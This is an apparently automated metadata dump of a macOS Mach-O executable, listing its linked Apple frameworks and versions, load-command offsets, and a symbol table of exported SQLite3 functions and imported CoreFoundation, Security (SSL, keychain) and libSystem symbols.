/System/Library/Frameworks/CoreText.framework/Versions/A/CoreText

Name

Value

compatibility_version

1.0.1

current_version

7.0.0

timestamp

1970-01-01

Datas

/System/Library/Frameworks/CoreImage.framework/Versions/A/CoreImage

Name

Value

compatibility_version

64.0.0

current_version

1965.2.3

timestamp

1970-01-01

Datas

/System/Library/Frameworks/CoreGraphics.framework/Versions/A/CoreGraphics

Name

Value

compatibility_version

1.0.0

current_version

2330.14.0

timestamp

1970-01-01

Datas

/System/Library/Frameworks/CloudKit.framework/Versions/A/CloudKit

Name

Value

compatibility_version

1.2.0

current_version

1193.49.3

timestamp

1970-01-01

Datas

/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore

Name

Value

compatibility_version

300.0.0

current_version

4201.0.0

timestamp

1970-01-01

Datas

/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation

Name

Value

compatibility_version

1.0.0

current_version

228.0.0

timestamp

1970-01-01

Datas

/usr/lib/libobjc.A.dylib

Name

Value

compatibility_version

7.0.0

current_version

7.0.0

timestamp

1970-01-01

Datas

/usr/lib/libiconv.2.dylib

function_starts load command - aggregated: 1

Name	Value
dataoff	2623328
datasize	8952

data_in_code load command - aggregated: 1

Name	Value
dataoff	2632280
datasize	0

Symbols

Name	Category	Origin	Segment Name	Bind Address	Library Name
__mh_execute_header	EXTERNAL	LC_SYMTAB
__tlv_bootstrap	NONE	DYLD_BIND	__DATA	0x10027C020	/usr/lib/libSystem.B.dylib
_access	NONE	DYLD_BIND	__DATA	0x100279018	/usr/lib/libSystem.B.dylib
_close	NONE	DYLD_BIND	__DATA	0x100279000	/usr/lib/libSystem.B.dylib
_fchown	NONE	DYLD_BIND	__DATA	0x1002791C8	/usr/lib/libSystem.B.dylib
_ftruncate	NONE	DYLD_BIND	__DATA	0x100279078	/usr/lib/libSystem.B.dylib
_geteuid	NONE	DYLD_BIND	__DATA	0x1002791E0	/usr/lib/libSystem.B.dylib
_main	NONE	DYLD_EXPORT
_pread	NONE	DYLD_BIND	__DATA	0x1002790C0	/usr/lib/libSystem.B.dylib
_pwrite	NONE	DYLD_BIND	__DATA	0x100279108	/usr/lib/libSystem.B.dylib
_readlink	NONE	DYLD_BIND	__DATA	0x100279258	/usr/lib/libSystem.B.dylib
_rust_eh_personality	NONE	DYLD_EXPORT
_sqlite3_aggregate_context	NONE	DYLD_EXPORT
_sqlite3_aggregate_count	NONE	DYLD_EXPORT
_sqlite3_auto_extension	NONE	DYLD_EXPORT
_sqlite3_autovacuum_pages	NONE	DYLD_EXPORT
_sqlite3_backup_finish	NONE	DYLD_EXPORT
_sqlite3_backup_init	NONE	DYLD_EXPORT
_sqlite3_backup_pagecount	NONE	DYLD_EXPORT
_sqlite3_backup_remaining	NONE	DYLD_EXPORT
_sqlite3_backup_step	NONE	DYLD_EXPORT
_sqlite3_bind_blob	NONE	DYLD_EXPORT
_sqlite3_bind_blob64	NONE	DYLD_EXPORT
_sqlite3_bind_double	NONE	DYLD_EXPORT
_sqlite3_bind_int	NONE	DYLD_EXPORT
_sqlite3_bind_int64	NONE	DYLD_EXPORT
_sqlite3_bind_null	NONE	DYLD_EXPORT
_sqlite3_bind_parameter_count	NONE	DYLD_EXPORT
_sqlite3_bind_parameter_index	NONE	DYLD_EXPORT
_sqlite3_bind_parameter_name	NONE	DYLD_EXPORT
_sqlite3_bind_pointer	NONE	DYLD_EXPORT
_sqlite3_bind_text	NONE	DYLD_EXPORT
_sqlite3_bind_text16	NONE	DYLD_EXPORT
_sqlite3_bind_text64	NONE	DYLD_EXPORT
_sqlite3_bind_value	NONE	DYLD_EXPORT
_sqlite3_bind_zeroblob	NONE	DYLD_EXPORT
_sqlite3_bind_zeroblob64	NONE	DYLD_EXPORT
_sqlite3_blob_bytes	NONE	DYLD_EXPORT
_sqlite3_blob_close	NONE	DYLD_EXPORT
_sqlite3_blob_open	NONE	DYLD_EXPORT
_sqlite3_blob_read	NONE	DYLD_EXPORT
_sqlite3_blob_reopen	NONE	DYLD_EXPORT
_sqlite3_blob_write	NONE	DYLD_EXPORT
_sqlite3_busy_handler	NONE	DYLD_EXPORT
_sqlite3_busy_timeout	NONE	DYLD_EXPORT
_sqlite3_cancel_auto_extension	NONE	DYLD_EXPORT
_sqlite3_changes	NONE	DYLD_EXPORT
_sqlite3_changes64	NONE	DYLD_EXPORT
_sqlite3_clear_bindings	NONE	DYLD_EXPORT
_sqlite3_close	NONE	DYLD_EXPORT
_sqlite3_close_v2	NONE	DYLD_EXPORT
_sqlite3_collation_needed	NONE	DYLD_EXPORT
_sqlite3_collation_needed16	NONE	DYLD_EXPORT
_sqlite3_column_blob	NONE	DYLD_EXPORT
_sqlite3_column_bytes	NONE	DYLD_EXPORT
_sqlite3_column_bytes16	NONE	DYLD_EXPORT
_sqlite3_column_count	NONE	DYLD_EXPORT
_sqlite3_column_database_name	NONE	DYLD_EXPORT
_sqlite3_column_database_name16	NONE	DYLD_EXPORT
_sqlite3_column_decltype	NONE	DYLD_EXPORT
_sqlite3_column_decltype16	NONE	DYLD_EXPORT
_sqlite3_column_double	NONE	DYLD_EXPORT
_sqlite3_column_int	NONE	DYLD_EXPORT
_sqlite3_column_int64	NONE	DYLD_EXPORT
_sqlite3_column_name	NONE	DYLD_EXPORT
_sqlite3_column_name16	NONE	DYLD_EXPORT
_sqlite3_column_origin_name	NONE	DYLD_EXPORT
_sqlite3_column_origin_name16	NONE	DYLD_EXPORT
_sqlite3_column_table_name	NONE	DYLD_EXPORT
_sqlite3_column_table_name16	NONE	DYLD_EXPORT
_sqlite3_column_text	NONE	DYLD_EXPORT
_sqlite3_column_text16	NONE	DYLD_EXPORT
_sqlite3_column_type	NONE	DYLD_EXPORT
_sqlite3_column_value	NONE	DYLD_EXPORT
_sqlite3_commit_hook	NONE	DYLD_EXPORT
_sqlite3_compileoption_get	NONE	DYLD_EXPORT
_sqlite3_compileoption_used	NONE	DYLD_EXPORT
_sqlite3_complete	NONE	DYLD_EXPORT
_sqlite3_complete16	NONE	DYLD_EXPORT
_sqlite3_config	NONE	DYLD_EXPORT
_sqlite3_context_db_handle	NONE	DYLD_EXPORT
_sqlite3_create_collation	NONE	DYLD_EXPORT
_sqlite3_create_collation16	NONE	DYLD_EXPORT
_sqlite3_create_collation_v2	NONE	DYLD_EXPORT
_sqlite3_create_filename	NONE	DYLD_EXPORT
_sqlite3_create_function	NONE	DYLD_EXPORT
_sqlite3_create_function16	NONE	DYLD_EXPORT
_sqlite3_create_function_v2	NONE	DYLD_EXPORT
_sqlite3_create_module	NONE	DYLD_EXPORT
_sqlite3_create_module_v2	NONE	DYLD_EXPORT
_sqlite3_create_window_function	NONE	DYLD_EXPORT
_sqlite3_data_count	NONE	DYLD_EXPORT
_sqlite3_database_file_object	NONE	DYLD_EXPORT
_sqlite3_db_cacheflush	NONE	DYLD_EXPORT
_sqlite3_db_config	NONE	DYLD_EXPORT
_sqlite3_db_filename	NONE	DYLD_EXPORT
_sqlite3_db_handle	NONE	DYLD_EXPORT
_sqlite3_db_mutex	NONE	DYLD_EXPORT
_sqlite3_db_name	NONE	DYLD_EXPORT
_sqlite3_db_readonly	NONE	DYLD_EXPORT
_sqlite3_db_release_memory	NONE	DYLD_EXPORT
_sqlite3_db_status	NONE	DYLD_EXPORT
_sqlite3_declare_vtab	NONE	DYLD_EXPORT
_sqlite3_deserialize	NONE	DYLD_EXPORT
_sqlite3_drop_modules	NONE	DYLD_EXPORT
_sqlite3_enable_shared_cache	NONE	DYLD_EXPORT
_sqlite3_errcode	NONE	DYLD_EXPORT
_sqlite3_errmsg	NONE	DYLD_EXPORT
_sqlite3_errmsg16	NONE	DYLD_EXPORT
_sqlite3_error_offset	NONE	DYLD_EXPORT
_sqlite3_errstr	NONE	DYLD_EXPORT
_sqlite3_exec	NONE	DYLD_EXPORT
_sqlite3_expanded_sql	NONE	DYLD_EXPORT
_sqlite3_expired	NONE	DYLD_EXPORT
_sqlite3_extended_errcode	NONE	DYLD_EXPORT
_sqlite3_extended_result_codes	NONE	DYLD_EXPORT
_sqlite3_file_control	NONE	DYLD_EXPORT
_sqlite3_filename_database	NONE	DYLD_EXPORT
_sqlite3_filename_journal	NONE	DYLD_EXPORT
_sqlite3_filename_wal	NONE	DYLD_EXPORT
_sqlite3_finalize	NONE	DYLD_EXPORT
_sqlite3_free	NONE	DYLD_EXPORT
_sqlite3_free_filename	NONE	DYLD_EXPORT
_sqlite3_free_table	NONE	DYLD_EXPORT
_sqlite3_get_autocommit	NONE	DYLD_EXPORT
_sqlite3_get_auxdata	NONE	DYLD_EXPORT
_sqlite3_get_clientdata	NONE	DYLD_EXPORT
_sqlite3_get_table	NONE	DYLD_EXPORT
_sqlite3_hard_heap_limit64	NONE	DYLD_EXPORT
_sqlite3_initialize	NONE	DYLD_EXPORT
_sqlite3_interrupt	NONE	DYLD_EXPORT
_sqlite3_is_interrupted	NONE	DYLD_EXPORT
_sqlite3_keyword_check	NONE	DYLD_EXPORT
_sqlite3_keyword_count	NONE	DYLD_EXPORT
_sqlite3_keyword_name	NONE	DYLD_EXPORT
_sqlite3_last_insert_rowid	NONE	DYLD_EXPORT
_sqlite3_libversion	NONE	DYLD_EXPORT
_sqlite3_libversion_number	NONE	DYLD_EXPORT
_sqlite3_limit	NONE	DYLD_EXPORT
_sqlite3_load_extension	NONE	DYLD_EXPORT
_sqlite3_log	NONE	DYLD_EXPORT
_sqlite3_malloc	NONE	DYLD_EXPORT
_sqlite3_malloc64	NONE	DYLD_EXPORT
_sqlite3_memory_highwater	NONE	DYLD_EXPORT
_sqlite3_memory_used	NONE	DYLD_EXPORT
_sqlite3_mprintf	NONE	DYLD_EXPORT
_sqlite3_msize	NONE	DYLD_EXPORT
_sqlite3_mutex_alloc	NONE	DYLD_EXPORT
_sqlite3_mutex_enter	NONE	DYLD_EXPORT
_sqlite3_mutex_free	NONE	DYLD_EXPORT
_sqlite3_mutex_leave	NONE	DYLD_EXPORT
_sqlite3_mutex_try	NONE	DYLD_EXPORT
_sqlite3_next_stmt	NONE	DYLD_EXPORT
_sqlite3_open	NONE	DYLD_EXPORT
_sqlite3_open16	NONE	DYLD_EXPORT
_sqlite3_open_v2	NONE	DYLD_EXPORT
_sqlite3_os_init	NONE	DYLD_EXPORT
_sqlite3_overload_function	NONE	DYLD_EXPORT
_sqlite3_prepare	NONE	DYLD_EXPORT
_sqlite3_prepare16	NONE	DYLD_EXPORT
_sqlite3_prepare16_v2	NONE	DYLD_EXPORT
_sqlite3_prepare16_v3	NONE	DYLD_EXPORT
_sqlite3_prepare_v2	NONE	DYLD_EXPORT
_sqlite3_prepare_v3	NONE	DYLD_EXPORT
_sqlite3_profile	NONE	DYLD_EXPORT
_sqlite3_progress_handler	NONE	DYLD_EXPORT
_sqlite3_randomness	NONE	DYLD_EXPORT
_sqlite3_realloc	NONE	DYLD_EXPORT
_sqlite3_realloc64	NONE	DYLD_EXPORT
_sqlite3_release_memory	NONE	DYLD_EXPORT
_sqlite3_reset	NONE	DYLD_EXPORT
_sqlite3_reset_auto_extension	NONE	DYLD_EXPORT
_sqlite3_result_blob	NONE	DYLD_EXPORT
_sqlite3_result_blob64	NONE	DYLD_EXPORT
_sqlite3_result_double	NONE	DYLD_EXPORT
_sqlite3_result_error	NONE	DYLD_EXPORT
_sqlite3_result_error16	NONE	DYLD_EXPORT
_sqlite3_result_error_code	NONE	DYLD_EXPORT
_sqlite3_result_error_nomem	NONE	DYLD_EXPORT
_sqlite3_result_error_toobig	NONE	DYLD_EXPORT
_sqlite3_result_int	NONE	DYLD_EXPORT
_sqlite3_result_int64	NONE	DYLD_EXPORT
_sqlite3_result_null	NONE	DYLD_EXPORT
_sqlite3_result_pointer	NONE	DYLD_EXPORT
_sqlite3_result_subtype	NONE	DYLD_EXPORT
_sqlite3_result_text	NONE	DYLD_EXPORT
_sqlite3_result_text16	NONE	DYLD_EXPORT
_sqlite3_result_text16be	NONE	DYLD_EXPORT
_sqlite3_result_text16le	NONE	DYLD_EXPORT
_sqlite3_result_text64	NONE	DYLD_EXPORT
_sqlite3_result_value	NONE	DYLD_EXPORT
_sqlite3_result_zeroblob	NONE	DYLD_EXPORT
_sqlite3_result_zeroblob64	NONE	DYLD_EXPORT
_sqlite3_rollback_hook	NONE	DYLD_EXPORT
_sqlite3_serialize	NONE	DYLD_EXPORT
_sqlite3_set_authorizer	NONE	DYLD_EXPORT
_sqlite3_set_auxdata	NONE	DYLD_EXPORT
_sqlite3_set_clientdata	NONE	DYLD_EXPORT
_sqlite3_set_last_insert_rowid	NONE	DYLD_EXPORT
_sqlite3_sleep	NONE	DYLD_EXPORT
_sqlite3_snprintf	NONE	DYLD_EXPORT
_sqlite3_soft_heap_limit	NONE	DYLD_EXPORT
_sqlite3_soft_heap_limit64	NONE	DYLD_EXPORT
_sqlite3_sourceid	NONE	DYLD_EXPORT
_sqlite3_sql	NONE	DYLD_EXPORT
_sqlite3_status	NONE	DYLD_EXPORT
_sqlite3_status64	NONE	DYLD_EXPORT
_sqlite3_step	NONE	DYLD_EXPORT
_sqlite3_stmt_busy	NONE	DYLD_EXPORT
_sqlite3_stmt_explain	NONE	DYLD_EXPORT
_sqlite3_stmt_isexplain	NONE	DYLD_EXPORT
_sqlite3_stmt_readonly	NONE	DYLD_EXPORT
_sqlite3_stmt_status	NONE	DYLD_EXPORT
_sqlite3_str_append	NONE	DYLD_EXPORT
_sqlite3_str_appendall	NONE	DYLD_EXPORT
_sqlite3_str_appendchar	NONE	DYLD_EXPORT
_sqlite3_str_appendf	NONE	DYLD_EXPORT
_sqlite3_str_errcode	NONE	DYLD_EXPORT
_sqlite3_str_finish	NONE	DYLD_EXPORT
_sqlite3_str_length	NONE	DYLD_EXPORT
_sqlite3_str_new	NONE	DYLD_EXPORT
_sqlite3_str_reset	NONE	DYLD_EXPORT
_sqlite3_str_value	NONE	DYLD_EXPORT
_sqlite3_str_vappendf	NONE	DYLD_EXPORT
_sqlite3_strglob	NONE	DYLD_EXPORT
_sqlite3_stricmp	NONE	DYLD_EXPORT
_sqlite3_strlike	NONE	DYLD_EXPORT
_sqlite3_strnicmp	NONE	DYLD_EXPORT
_sqlite3_system_errno	NONE	DYLD_EXPORT
_sqlite3_table_column_metadata	NONE	DYLD_EXPORT
_sqlite3_temp_directory	NONE	DYLD_EXPORT
_sqlite3_test_control	NONE	DYLD_EXPORT
_sqlite3_thread_cleanup	NONE	DYLD_EXPORT
_sqlite3_threadsafe	NONE	DYLD_EXPORT
_sqlite3_total_changes	NONE	DYLD_EXPORT
_sqlite3_total_changes64	NONE	DYLD_EXPORT
_sqlite3_trace	NONE	DYLD_EXPORT
_sqlite3_trace_v2	NONE	DYLD_EXPORT
_sqlite3_transfer_bindings	NONE	DYLD_EXPORT
_sqlite3_txn_state	NONE	DYLD_EXPORT
_sqlite3_update_hook	NONE	DYLD_EXPORT
_sqlite3_uri_boolean	NONE	DYLD_EXPORT
_sqlite3_uri_int64	NONE	DYLD_EXPORT
_sqlite3_uri_key	NONE	DYLD_EXPORT
_sqlite3_uri_parameter	NONE	DYLD_EXPORT
_sqlite3_user_data	NONE	DYLD_EXPORT
_sqlite3_value_blob	NONE	DYLD_EXPORT
_sqlite3_value_bytes	NONE	DYLD_EXPORT
_sqlite3_value_bytes16	NONE	DYLD_EXPORT
_sqlite3_value_double	NONE	DYLD_EXPORT
_sqlite3_value_dup	NONE	DYLD_EXPORT
_sqlite3_value_encoding	NONE	DYLD_EXPORT
_sqlite3_value_free	NONE	DYLD_EXPORT
_sqlite3_value_frombind	NONE	DYLD_EXPORT
_sqlite3_value_int	NONE	DYLD_EXPORT
_sqlite3_value_int64	NONE	DYLD_EXPORT
_sqlite3_value_nochange	NONE	DYLD_EXPORT
_sqlite3_value_numeric_type	NONE	DYLD_EXPORT
_sqlite3_value_pointer	NONE	DYLD_EXPORT
_sqlite3_value_subtype	NONE	DYLD_EXPORT
_sqlite3_value_text	NONE	DYLD_EXPORT
_sqlite3_value_text16	NONE	DYLD_EXPORT
_sqlite3_value_text16be	NONE	DYLD_EXPORT
_sqlite3_value_text16le	NONE	DYLD_EXPORT
_sqlite3_value_type	NONE	DYLD_EXPORT
_sqlite3_version	NONE	DYLD_EXPORT
_sqlite3_vfs_find	NONE	DYLD_EXPORT
_sqlite3_vfs_register	NONE	DYLD_EXPORT
_sqlite3_vfs_unregister	NONE	DYLD_EXPORT
_sqlite3_vmprintf	NONE	DYLD_EXPORT
_sqlite3_vsnprintf	NONE	DYLD_EXPORT
_sqlite3_vtab_collation	NONE	DYLD_EXPORT
_sqlite3_vtab_config	NONE	DYLD_EXPORT
_sqlite3_vtab_distinct	NONE	DYLD_EXPORT
_sqlite3_vtab_in	NONE	DYLD_EXPORT
_sqlite3_vtab_in_first	NONE	DYLD_EXPORT
_sqlite3_vtab_in_next	NONE	DYLD_EXPORT
_sqlite3_vtab_nochange	NONE	DYLD_EXPORT
_sqlite3_vtab_on_conflict	NONE	DYLD_EXPORT
_sqlite3_vtab_rhs_value	NONE	DYLD_EXPORT
_sqlite3_wal_autocheckpoint	NONE	DYLD_EXPORT
_sqlite3_wal_checkpoint	NONE	DYLD_EXPORT
_sqlite3_wal_checkpoint_v2	NONE	DYLD_EXPORT
_sqlite3_wal_hook	NONE	DYLD_EXPORT
_CCRandomGenerateBytes	UNDEFINED	LC_SYMTAB	__DATA	0x1002650D0	/usr/lib/libSystem.B.dylib
_CFArrayCreate	UNDEFINED	LC_SYMTAB	__DATA	0x1002650D8	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFArrayGetCount	UNDEFINED	LC_SYMTAB	__DATA	0x1002650E0	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFArrayGetTypeID	UNDEFINED	LC_SYMTAB	__DATA	0x1002650E8	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFArrayGetValueAtIndex	UNDEFINED	LC_SYMTAB	__DATA	0x1002650F0	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFCopyDescription	UNDEFINED	LC_SYMTAB	__DATA	0x1002650F8	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFDataGetBytePtr	UNDEFINED	LC_SYMTAB	__DATA	0x100265100	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFDataGetLength	UNDEFINED	LC_SYMTAB	__DATA	0x100265108	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFDataGetTypeID	UNDEFINED	LC_SYMTAB	__DATA	0x100265110	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFDateGetTypeID	UNDEFINED	LC_SYMTAB	__DATA	0x100265118	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFDictionaryCreate	UNDEFINED	LC_SYMTAB	__DATA	0x100265120	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFDictionaryGetCount	UNDEFINED	LC_SYMTAB	__DATA	0x100265128	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFDictionaryGetKeysAndValues	UNDEFINED	LC_SYMTAB	__DATA	0x100265130	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFDictionaryGetTypeID	UNDEFINED	LC_SYMTAB	__DATA	0x100265138	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFDictionaryGetValueIfPresent	UNDEFINED	LC_SYMTAB	__DATA	0x100265140	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFErrorCreate	UNDEFINED	LC_SYMTAB	__DATA	0x100265148	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFErrorGetCode	UNDEFINED	LC_SYMTAB	__DATA	0x100265150	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFGetTypeID	UNDEFINED	LC_SYMTAB	__DATA	0x100265158	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFNumberGetTypeID	UNDEFINED	LC_SYMTAB	__DATA	0x100265160	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFNumberGetValue	UNDEFINED	LC_SYMTAB	__DATA	0x100265168	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFRelease	UNDEFINED	LC_SYMTAB	__DATA	0x100265170	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFRetain	UNDEFINED	LC_SYMTAB	__DATA	0x100265178	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFStringCreateWithBytes	UNDEFINED	LC_SYMTAB	__DATA	0x100265180	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFStringGetBytes	UNDEFINED	LC_SYMTAB	__DATA	0x100265188	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFStringGetCStringPtr	UNDEFINED	LC_SYMTAB	__DATA	0x100265190	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFStringGetLength	UNDEFINED	LC_SYMTAB	__DATA	0x100265198	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_CFStringGetTypeID	UNDEFINED	LC_SYMTAB	__DATA	0x1002651A0	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
_SCDynamicStoreCopyProxies	UNDEFINED	LC_SYMTAB	__DATA	0x1002651A8	/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
_SCDynamicStoreCreateWithOptions	UNDEFINED	LC_SYMTAB	__DATA	0x1002651B0	/System/Library/Frameworks/SystemConfiguration.framework/Versions/A/SystemConfiguration
_SSLClose	UNDEFINED	LC_SYMTAB	__DATA	0x1002651B8	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SSLCopyPeerTrust	UNDEFINED	LC_SYMTAB	__DATA	0x1002651C0	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SSLCreateContext	UNDEFINED	LC_SYMTAB	__DATA	0x1002651C8	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SSLGetBufferedReadSize	UNDEFINED	LC_SYMTAB	__DATA	0x1002651D0	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SSLGetConnection	UNDEFINED	LC_SYMTAB	__DATA	0x1002651D8	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SSLGetEnabledCiphers	UNDEFINED	LC_SYMTAB	__DATA	0x1002651E0	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SSLGetNumberEnabledCiphers	UNDEFINED	LC_SYMTAB	__DATA	0x1002651E8	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SSLGetSessionState	UNDEFINED	LC_SYMTAB	__DATA	0x1002651F0	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SSLHandshake	UNDEFINED	LC_SYMTAB	__DATA	0x1002651F8	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SSLRead	UNDEFINED	LC_SYMTAB	__DATA	0x100265200	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SSLSetCertificate	UNDEFINED	LC_SYMTAB	__DATA	0x100265208	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SSLSetConnection	UNDEFINED	LC_SYMTAB	__DATA	0x100265210	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SSLSetEnabledCiphers	UNDEFINED	LC_SYMTAB	__DATA	0x100265218	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SSLSetIOFuncs	UNDEFINED	LC_SYMTAB	__DATA	0x100265220	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SSLSetPeerDomainName	UNDEFINED	LC_SYMTAB	__DATA	0x100265228	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SSLSetProtocolVersionMax	UNDEFINED	LC_SYMTAB	__DATA	0x100265230	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SSLSetProtocolVersionMin	UNDEFINED	LC_SYMTAB	__DATA	0x100265238	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SSLSetSessionOption	UNDEFINED	LC_SYMTAB	__DATA	0x100265240	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SSLWrite	UNDEFINED	LC_SYMTAB	__DATA	0x100265248	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SecCertificateCopyData	UNDEFINED	LC_SYMTAB	__DATA	0x100265250	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SecCertificateGetTypeID	UNDEFINED	LC_SYMTAB	__DATA	0x100265258	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SecCopyErrorMessageString	UNDEFINED	LC_SYMTAB	__DATA	0x100265260	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SecIdentityGetTypeID	UNDEFINED	LC_SYMTAB	__DATA	0x100265268	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SecItemCopyMatching	UNDEFINED	LC_SYMTAB	__DATA	0x100265270	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SecKeyGetTypeID	UNDEFINED	LC_SYMTAB	__DATA	0x100265278	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SecKeychainCopyDefault	UNDEFINED	LC_SYMTAB	__DATA	0x100265280	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SecKeychainItemGetTypeID	UNDEFINED	LC_SYMTAB	__DATA	0x100265288	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SecKeychainOpen	UNDEFINED	LC_SYMTAB	__DATA	0x100265290	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SecKeychainSetUserInteractionAllowed	UNDEFINED	LC_SYMTAB	__DATA	0x100265298	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SecKeychainUnlock	UNDEFINED	LC_SYMTAB	__DATA	0x1002652A0	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SecPolicyCreateSSL	UNDEFINED	LC_SYMTAB	__DATA	0x1002652A8	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SecTrustEvaluate	UNDEFINED	LC_SYMTAB	__DATA	0x1002652B0	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SecTrustGetCertificateAtIndex	UNDEFINED	LC_SYMTAB	__DATA	0x1002652B8	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SecTrustGetCertificateCount	UNDEFINED	LC_SYMTAB	__DATA	0x1002652C0	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SecTrustSetAnchorCertificates	UNDEFINED	LC_SYMTAB	__DATA	0x1002652C8	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SecTrustSetAnchorCertificatesOnly	UNDEFINED	LC_SYMTAB	__DATA	0x1002652D0	/System/Library/Frameworks/Security.framework/Versions/A/Security
_SecTrustSetPolicies	UNDEFINED	LC_SYMTAB	__DATA	0x1002652D8	/System/Library/Frameworks/Security.framework/Versions/A/Security
__NSGetArgc	UNDEFINED	LC_SYMTAB	__DATA	0x1002652E0	/usr/lib/libSystem.B.dylib
__NSGetArgv	UNDEFINED	LC_SYMTAB	__DATA	0x1002652E8	/usr/lib/libSystem.B.dylib
__NSGetEnviron	UNDEFINED	LC_SYMTAB	__DATA	0x1002652F0	/usr/lib/libSystem.B.dylib
__NSGetExecutablePath	UNDEFINED	LC_SYMTAB	__DATA	0x1002652F8	/usr/lib/libSystem.B.dylib
__Unwind_Backtrace	UNDEFINED	LC_SYMTAB	__DATA	0x100265300	/usr/lib/libSystem.B.dylib
__Unwind_GetCFA	UNDEFINED	LC_SYMTAB	__DATA	0x100265308	/usr/lib/libSystem.B.dylib
__Unwind_GetDataRelBase	UNDEFINED	LC_SYMTAB	__DATA	0x100265310	/usr/lib/libSystem.B.dylib
__Unwind_GetIP	UNDEFINED	LC_SYMTAB	__DATA	0x100265318	/usr/lib/libSystem.B.dylib
__Unwind_GetIPInfo	UNDEFINED	LC_SYMTAB	__DATA	0x100265320	/usr/lib/libSystem.B.dylib
__Unwind_GetLanguageSpecificData	UNDEFINED	LC_SYMTAB	__DATA	0x100265328	/usr/lib/libSystem.B.dylib
__Unwind_GetRegionStart	UNDEFINED	LC_SYMTAB	__DATA	0x100265330	/usr/lib/libSystem.B.dylib
__Unwind_GetTextRelBase	UNDEFINED	LC_SYMTAB	__DATA	0x100265338	/usr/lib/libSystem.B.dylib
__Unwind_Resume	UNDEFINED	LC_SYMTAB	__DATA	0x100265340	/usr/lib/libSystem.B.dylib
__Unwind_SetGR	UNDEFINED	LC_SYMTAB	__DATA	0x100265348	/usr/lib/libSystem.B.dylib
__Unwind_SetIP	UNDEFINED	LC_SYMTAB	__DATA	0x100265350	/usr/lib/libSystem.B.dylib
___ashlti3	UNDEFINED	LC_SYMTAB	__DATA	0x100265358	/usr/lib/libSystem.B.dylib
___bzero	UNDEFINED	LC_SYMTAB	__DATA	0x100265360	/usr/lib/libSystem.B.dylib
___error	UNDEFINED	LC_SYMTAB	__DATA	0x100265368	/usr/lib/libSystem.B.dylib
___lshrti3	UNDEFINED	LC_SYMTAB	__DATA	0x100265370	/usr/lib/libSystem.B.dylib
___memcpy_chk	UNDEFINED	LC_SYMTAB	__DATA	0x100265378	/usr/lib/libSystem.B.dylib
___memmove_chk	UNDEFINED	LC_SYMTAB	__DATA	0x100265380	/usr/lib/libSystem.B.dylib
___memset_chk	UNDEFINED	LC_SYMTAB	__DATA	0x100265388	/usr/lib/libSystem.B.dylib
___stack_chk_fail	UNDEFINED	LC_SYMTAB	__DATA	0x100265390	/usr/lib/libSystem.B.dylib
___stack_chk_guard	UNDEFINED	LC_SYMTAB	__DATA	0x100265008	/usr/lib/libSystem.B.dylib
